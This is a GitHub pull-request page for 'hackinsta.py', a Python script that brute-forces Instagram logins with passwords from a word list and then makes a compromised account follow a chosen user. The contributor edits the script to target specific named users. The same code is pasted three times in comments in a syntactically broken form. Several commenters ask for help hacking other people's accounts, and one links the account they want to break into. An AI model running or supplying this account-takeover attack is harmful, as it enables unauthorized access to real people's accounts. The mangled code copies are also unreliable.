Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update hackinsta.py #5

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open

Update hackinsta.py #5

wants to merge 3 commits into from

Conversation

IKRMAM
Copy link

@IKRMAM IKRMAM commented Apr 28, 2020

No description provided.

hackinsta.py Outdated Show resolved Hide resolved
@rh33
Copy link

rh33 commented May 11, 2020

How to hack someone account

Copy link

@karakaaa karakaaa left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

kak_trsenar

hackinsta.py Outdated
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':username,'id':fUserID}
return {'username':nurrhome,'id':fUserID}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

return {'username':anahitarajmohan,'id':fUserID}

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lamiaa.acarr

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

_senemyrsl

hackinsta.py Outdated


def Login(username,password):
def Login(nurhhome,password):
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

def Login(anahitarajmohan,password):

Copy link
Author

@IKRMAM IKRMAM Jan 12, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

https://instagram.com/nur.hh?igshid=1jtfvnptgfh9u
import requests
import json
import time
import os

filename = 'pass.txt'
if os.path.isfile(filename):
with open(filename) as f:
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
else:
print ('Please create passwords file (pass.txt)')
exit()

def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':nur.hh,'id':fUserID}

def Login(username,password):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})

#first time -> to get csrftoken
r = sess.get('https://www.instagram.com/') 
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'username':'nur.hh,:password}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
#parse response
data = json.loads(r.text)
if (data['status'] == 'fail'):
	print (data['message'])
	return False

if (data['authenticated'] == True):
	return sess #if we want to keep use session
else:
	print ('Password incorrect [%s]' % password)
	return False

def follow(sess, username):nur.hh
username = userExists(nur.hh)
if (username == False):
return
else:
userID = nur.hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)

username = str(input('Please enter a username:nur.hh '))
username = userExists(nur.hh)
if (username == False):
exit()
else:
username = username['nur.hh']

delayLoop = int(input('Please add delay between the passwords (in seconds): 1'))

for i in range(len)):
password = [i] password
sess = Login(nur.hh,)
if (sess):
print ('Login success %s' % [nur.hh,])

	#because i am cool
	follow(sess,'nur.hh')

try:
	time.sleep(delayLoop)
except KeyboardInterrupt:
	an = str(input('Type y/n to exit: '))
	if (an == 'y'):
		exit()
	else:
		continue

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you hack Instagram brother?

hackinsta.py Outdated
@@ -49,7 +49,7 @@ def Login(username,password):
r = sess.get('https://www.instagram.com/')
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'username':username, 'password':password}
data = {'username':nurrhome, 'password':password}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

data = {'username':anahitarajmohan, 'password':password}

hackinsta.py Outdated
@@ -67,22 +67,22 @@ def Login(username,password):



def follow(sess, username):
username = userExists(username)
def follow(sess, nurrhome):
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

def follow(sess, anahitarajmohan):

hackinsta.py Outdated
def follow(sess, username):
username = userExists(username)
def follow(sess, nurrhome):
nurrhome = userExists(nurrhome)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

anahitarajmohan = userExists(anahitarajmohan)

hackinsta.py Outdated Show resolved Hide resolved
hackinsta.py Outdated
if (username == False):
nurrhome = str(input('Please enter a username: '))
nurrhome = userExists(nurrhome)
if (nurrhome == False):
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if (anahitarajmohan == False):

hackinsta.py Outdated
exit()
else:
username = username['username']
nurrhome = nurrhome['username']
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

anahitarajmohan = anahitarajmohan['username']

hackinsta.py Outdated
@@ -91,9 +91,9 @@ def follow(sess, username):

for i in range(len(passwords)):
password = passwords[i]
sess = Login(username,password)
sess = Login(nurrhome,password)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

sess = Login(anahitarajmohan,password)

hackinsta.py Outdated Show resolved Hide resolved
hackinsta.py Outdated Show resolved Hide resolved
@leopardgunny
Copy link

https://www.instagram.com/instxgrxmmxr09

i want hack this account

@bikes21
Copy link

bikes21 commented Aug 2, 2021 via email

hackinsta.py Show resolved Hide resolved
hackinsta.py Outdated


def Login(username,password):
def Login(nurhhome,password):
Copy link
Author

@IKRMAM IKRMAM Jan 12, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

https://instagram.com/nur.hh?igshid=1jtfvnptgfh9u
import requests
import json
import time
import os

filename = 'pass.txt'
if os.path.isfile(filename):
with open(filename) as f:
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
else:
print ('Please create passwords file (pass.txt)')
exit()

def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':nur.hh,'id':fUserID}

def Login(username,password):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})

#first time -> to get csrftoken
r = sess.get('https://www.instagram.com/') 
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'username':'nur.hh,:password}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
#parse response
data = json.loads(r.text)
if (data['status'] == 'fail'):
	print (data['message'])
	return False

if (data['authenticated'] == True):
	return sess #if we want to keep use session
else:
	print ('Password incorrect [%s]' % password)
	return False

def follow(sess, username):nur.hh
username = userExists(nur.hh)
if (username == False):
return
else:
userID = nur.hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)

username = str(input('Please enter a username:nur.hh '))
username = userExists(nur.hh)
if (username == False):
exit()
else:
username = username['nur.hh']

delayLoop = int(input('Please add delay between the passwords (in seconds): 1'))

for i in range(len)):
password = [i] password
sess = Login(nur.hh,)
if (sess):
print ('Login success %s' % [nur.hh,])

	#because i am cool
	follow(sess,'nur.hh')

try:
	time.sleep(delayLoop)
except KeyboardInterrupt:
	an = str(input('Type y/n to exit: '))
	if (an == 'y'):
		exit()
	else:
		continue

@ronnie309
Copy link

Can you hack Instagram?

@gokul96750
Copy link

gokul96750 commented Oct 25, 2021 via email

@prakashhsh
Copy link

kak_trsenar

IKRMAM:patch-2

@prakashhsh
Copy link

Please help me how to hack instgram account

@Blxxxx1
Copy link

Blxxxx1 commented Jan 4, 2024

Hello can you help me hack an account?

@@ -17,17 +17,17 @@


def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nur.hh

Copy link
Author

@IKRMAM IKRMAM left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hh

Copy link
Author

@IKRMAM IKRMAM left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

import requests
import json
import time
import os

filename = 'pass.txt'
if os.path.isfile(filename):
with open(filename) as f:
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
else:
print ('Please create passwords file (pass.txt)')
exit()

def userExists(username):
r = requests.get('https://www.instagram.com/%s/?__a=1' % username)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'username':nur.hh,'id':fUserID}

def Login(username,password):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})

#first time -> to get csrftoken
r = sess.get('https://www.instagram.com/') 
sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']})

data = {'username':'nur.hh,:password}
r = sess.post('https://www.instagram.com/accounts/login/ajax/', data=data, allow_redirects=True)
token = r.cookies.get_dict()['csrftoken']
sess.headers.update({'X-CSRFToken' : token})
#parse response
data = json.loads(r.text)
if (data['status'] == 'fail'):
	print (data['message'])
	return False

if (data['authenticated'] == True):
	return sess #if we want to keep use session
else:
	print ('Password incorrect [%s]' % password)
	return False

def follow(sess, username):nur.hh
username = userExists(nur.hh)
if (username == False):
return
else:
userID = nur.hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)

username = str(input('Please enter a username:nur.hh '))
username = userExists(nur.hh)
if (username == False):
exit()
else:
username = username['nur.hh']

delayLoop = int(input('Please add delay between the passwords (in seconds): 1'))

for i in range(len)):
password = [i] password
sess = Login(nur.hh,)
if (sess):
print ('Login success %s' % [nur.hh,])

	#because i am cool
	follow(sess,'nur.hh')

try:
	time.sleep(delayLoop)
except KeyboardInterrupt:
	an = str(input('Type y/n to exit: '))
	if (an == 'y'):
		exit()
	else:
		continue

Copy link
Author

@IKRMAM IKRMAM left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yy

@Rahul4024
Copy link

How can hack Instagram account

@891787
Copy link

891787 commented May 12, 2024

Hey bro! Can you tell me step by step how to do?

@891787
Copy link

891787 commented May 12, 2024

Hey bro! Can you tell step by step how to do?

@yukiisaee
Copy link

can you hack an account? pleaseeee

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.